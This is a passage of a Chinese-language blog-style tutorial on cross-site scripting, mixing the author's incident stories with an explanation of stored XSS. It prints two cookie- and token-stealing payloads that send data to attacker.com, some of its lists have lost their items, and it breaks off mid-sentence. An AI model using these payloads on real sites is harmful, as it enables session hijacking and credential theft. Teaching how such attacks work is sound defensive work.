我第一次遭遇XSS攻击是在2015年维护一个电商网站时。那天凌晨两点接到运维电话,说用户投诉商品详情页不断弹出赌博广告。赶到公司后发现,攻击者利用商品评价区的漏洞注入了恶意脚本,每当用户浏览商品时就会执行这个脚本。这个事件让我深刻理解了XSS的核心特征——它不是直接攻击服务器,而是利用网站对用户输入的信任,在受害者浏览器端执行恶意操作。
XSS(Cross-Site Scripting)之所以被命名为"跨站脚本",是因为早期这类攻击常涉及跨域场景。但发展到今天,同源策略下的XSS攻击同样普遍。其本质是攻击者通过某种方式,将恶意JavaScript代码注入到网页中,使得其他用户在浏览页面时,浏览器误将这些脚本当作合法内容执行。
与SQL注入不同,XSS的攻击目标不是服务器数据库,而是前端用户。攻击者通过精心构造的脚本可以:
一个经典的XSS攻击示例是评论区漏洞。假设一个博客网站允许用户提交评论,并将评论直接显示在页面上。如果未做任何过滤处理,攻击者可以提交如下评论:
html复制<script>
fetch('https://attacker.com/steal?cookie=' + document.cookie)
</script>
当其他用户浏览这个页面时,他们的登录cookie就会被发送到攻击者的服务器。我在实际渗透测试中发现,这种基础漏洞在中小型网站中的存在比例高达40%。
存储型XSS(Persistent XSS)是我在安全审计中最常发现的高危漏洞。它的特点是恶意脚本会被永久保存在服务器数据库中,每当用户访问受影响页面时就会触发攻击。
典型攻击流程:
去年我审计的一个CMS系统就存在典型的存储型XSS漏洞。攻击者可以在文章编辑器中插入如下payload:
html复制<img src=x onerror="(function(){
var i=new Image;
i.src='http://attacker.com/log?data='+
encodeURIComponent(document.cookie+'\n'+localStorage.getItem('token'));
})()">
这个payload使用了图片加载失败触发onerror事件的技巧,比直接使用